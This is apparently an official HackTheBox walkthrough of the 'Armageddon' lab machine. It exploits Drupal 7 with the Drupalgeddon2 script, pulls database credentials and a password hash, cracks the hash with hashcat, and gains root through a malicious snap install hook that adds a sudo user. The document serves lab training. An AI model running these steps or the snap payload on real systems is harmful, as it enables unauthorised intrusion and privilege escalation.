



HACKTHEBOX



Armageddon

15th December 2020 / Document No D20.101.126

Prepared By: bertolis

Machine Author: bertolis

Difficulty: **Easy**

Classification: Official

Synopsis

Armageddon is an easy difficulty machine. An exploitable Drupal website allows access to the remote host. Enumeration of the Drupal file structure reveals credentials that allows us to connect to the MySQL server, and eventually extract the hash that is reusable for a system user. Using these credentials, we can connect to the remote machine over SSH. This user is allowed to install applications using the `snap` package manager. Privilege escalation is possible by uploading and installing to the host, a malicious application using Snapcraft.

Skills required

- Basic Linux Knowledge

Skills learned

- Drupal exploitation
- Snap package manager exploitation

Enumeration

Nmap

```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.99 | grep ^[0-9] | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,,$//)
nmap -p$ports -sC -sV 10.10.10.99
```



```
nmap -p$ports -sC -sV 10.10.10.99
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp    open  http      Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
```

Nmap output reveals an Apache server and an SSH server running on their default ports. Let's visit the website on port 80.



Home

User login

Username *

Password *

- [Create new account](#)
- [Request new password](#)

Log in

Welcome to Armageddon

No front page content has been created yet.

Powered by Armageddon

Nmap reveals that the Apache server is hosting an instance of Drupal 7. This is the login page of the website, in which we don't have any credentials to login. Creating a new account is impossible since the mail verification seems to be broken. We need to search online for any Drupal 7 exploits.

Foothold

drupal 7 exploit



All

Videos

Images

News

Shopping

More

Settings

Tools

About 545.000 results (0,43 seconds)

github.com > dreadlocked > Drupalgeddon2 ▾

dreadlocked/Drupalgeddon2: Exploit for Drupal v7.x ... - GitHub

Exploit for **Drupal** v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) ...

CVE-2018-7600 | **Drupal** 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x?

[dreadlocked/Drupalgeddon2](#) · [README.md](#) · [Pull requests 1](#)

According to the [Drupal Security Advisories](#) description, several versions of Drupal allow remote attackers to execute arbitrary code, due to a vulnerability that exists within multiple subsystems of Drupal. This eventually could result in the site being completely compromised. Online searching reveals an exploit on GitHub named `Drupalgeddon`, that affects the current version of Drupal. We clone the repository and run it.

```
git clone https://github.com/dreadlocked/Drupalgeddon2.git
cd Drupalgeddon2
ruby drupalgeddon2.rb http://10.10.10.99
```



```
ruby drupalgeddon2.rb http://10.10.10.99
<SNIP>
localhost.localdomain>> whoami
apache
```

This is successful and we can now execute commands to the remote host as the user `apache`.

Lateral Movement

Enumerating the file structure of Drupal, we notice the file `/var/www/html/sites/default/settings.php`. This is a file that Drupal uses during the installation and it might contains credentials. Let's read its content.

```
cat /var/www/html/sites/default/settings.php
```

```
<SNIP>
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
<SNIP>
```

The file is found to contain information regarding database connection. Since the shell we have obtained is not fully interactive, we can try to enumerate the MySQL server by executing one command at a time, and using the above credentials to connect.

```
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
```

```
localhost.localdomain>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show
databases;'
Database
information_schema
drupal
mysql
performance_schema
```

The query above lists the databases. We use the database `drupal` and list its tables.

```
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal; show tables;'
```

```
localhost.localdomain>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show
databases;'

<SNIP>
users
users_roles
variable
watchdog
```

What is worth to enumerate at this step is the table `users`. We get the content of its columns.

```
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal; select * from users;'
```

```
localhost.localdomain>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use
drupal; select * from users;'
```

uid	name	pass	mail	theme	signature	signature_format	created	access	login	status	timezone	language	picture	init	
0										NULL	0	0	0	0	NULL
1	brucetherealadmin	\$S\$DgL2gjjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.o0sUf1xAhaadURt	admin@armageddon.eu		filtered_html	1606998756	1607077194	1607076276	1	Europe/London	0	admin@armageddon.eu			

```
a:1:{s:7:"overlay";i:1;}
```

The table `users` reveals an encrypted password

`SDgL2gjjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.o0sUf1xAhaadURt` for the user `brucetherealadmin`. In order to crack this password, we are going to use the tool `hashcat`. First, we add the hash into a file.

```
echo '$S$DgL2gjjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.o0sUf1xAhaadURt' > hash
```

Then, we have to find the correct `hash mode` for Drupal.

```
hashcat --help | grep Drupal
```



```
hashcat --help | grep Drupal
```

```
7900 | Drupal7 | Forums, CMS, E-Commerce
```

Finally, we run the following command to try crack the hash.

```
sudo hashcat -m 7900 -a 0 -o cracked.txt hash /usr/share/wordlists/rockyou.txt --force
```



```
hashcat -m 7900 -a 0 -o cracked.txt hash /usr/share/wordlists/rockyou.txt  
--force
```

```
hashcat (v6.1.1) starting...
```

```
<SNIP>
```

```
Started: Tue Dec 15 00:12:19 2020
```

```
Stopped: Tue Dec 15 00:13:16 2020
```

By listing the content of the file `cracked.txt`, we reveal the decrypted password.

```
sudo cat cracked.txt
```



```
cat cracked.txt
```

```
$S$DgL2gJv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.o0sUf1xAhaadURt:booboo
```

The credentials `brucetherealadmin/booboo` can be used now to login via SSH to the remote host.

```
ssh brucetherealadmin@10.10.10.99
```




```
ssh brucetherealadmin@10.10.10.99
```

```
Last login: Thu Dec  3 15:46:15 2020 from 10.10.14.3
```

```
[brucetherealadmin@localhost ~]$ whoami
```


```
brucetherealadmin
```

The user flag is located in `/home/brucetherealadmin/user.txt`.

Privilege Escalation

We check which commands the user `brucetherealadmin` can execute as user root.

```
sudo -l
```



```
[brucetherealadmin@localhost ~]$ sudo -l

<SNIP>
User brucetherealadmin may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/snap install *
```

The user `brucetherealadmin` can execute the command `/usr/bin/snap install *` as root, without using password. Snap is a package manager that packages and deploys applications. Snaps, are self-contained applications which are running in a sandbox with mediated access to the host system. According to this [article](#), a snap can get access to the host when running in a mode called `devmode`. Additionally, snaps use `hooks` and specifically the `install hook` which is running during the installation process. That means if the `devmode` is specified, then this hook is going to be run at the installation time, giving access to the host, and since we can execute this command as root, then the code that is going to be executed during the installation, is going to be executed in the same context. First, we have to create a new snap, and in order to do so, we will be using Snapcraft. The following installation process of Snapcraft has been tested in Ubuntu OS and might be slightly different in other OS.

```
sudo apt update
sudo apt install snapd
sudo snap install --classic snapcraft
```

Also, the content (payload) of the snap should be the code that is going to be executed during the installation process. The following bash script creates the snap that we are going to upload to the remote host. The specific payload, creates the user `snap_user` with the password `snap_user`, and gives him elevated privileges. We copy and paste the following code into a file and name it `snapcraft.sh`.

```
# Make an empty directory to work with
mkdir new_snap
cd new_snap

# Initialize the directory as a snap project
snapcraft init

# Set up the install hook
mkdir snap/hooks
```

```
touch snap/hooks/install
chmod a+x snap/hooks/install

# Write the script we want to execute as root
cat > snap/hooks/install << "EOF"
#!/bin/bash

password="snap_user"
pass=$(perl -e 'print crypt($ARGV[0], "password")' $password)

useradd snap_user -m -p $pass -s /bin/bash
usermod -aG sudo snap_user
echo "snap_user    ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF

# Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: snap-user
version: '0.1'
summary: Empty snap, used for exploit
description: |
    This is an example

grade: devel
confinement: devmode

parts:
  my-part:
    plugin: nil
EOF

# Build the snap
snapcraft
```

We change the permissions and execute the file.

```
chmod +x snapcraft.sh
./snapcraft.sh
```

When it's done, we copy the whole directory to the remote machine.

```
scp -r new_snap brucetherealadmin@10.10.10.99:/tmp
```

Now we can install the snap in the remote machine, using the `sudo` and `devmode` options.

```
cd /tmp/new_snap
sudo snap install --devmode snap-user_0.1_amd64.snap
```



```
[brucetherealadmin@localhost new_snap]$ sudo snap install --devmode snap-user_0.1_amd64.snap  
  
snap-user 0.1 installed
```

We can run the following command to list the installed naps.

```
snap list
```



```
[snap_user@localhost new_snap]$ snap list  
Name      Version  Rev   Tracking    Publisher  Notes  
core      16-2.48  10444 latest/stable canonical✓ core  
snap-user 0.1      x1    -           -          devmode
```

Our snap is now installed. We list the users of the system.

```
cat /etc/passwd
```



```
[snap_user@localhost new_snap]$ cat /etc/passwd  
<SNIP>  
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash  
snap_user:x:1001:1001::/home/snap_user:/bin/bash
```

Finally, we try to change to user `snap_user` using the password `snap_user`.

```
su snap_user  
sudo -l
```



```
[snap_user@localhost new_snap]$ sudo -l
```

```
<SNIP>
```

```
User snap_user may run the following commands on localhost:
```

```
(ALL : ALL) ALL
```

```
(ALL : ALL) ALL
```

The root flag is located in `/root/root.txt`.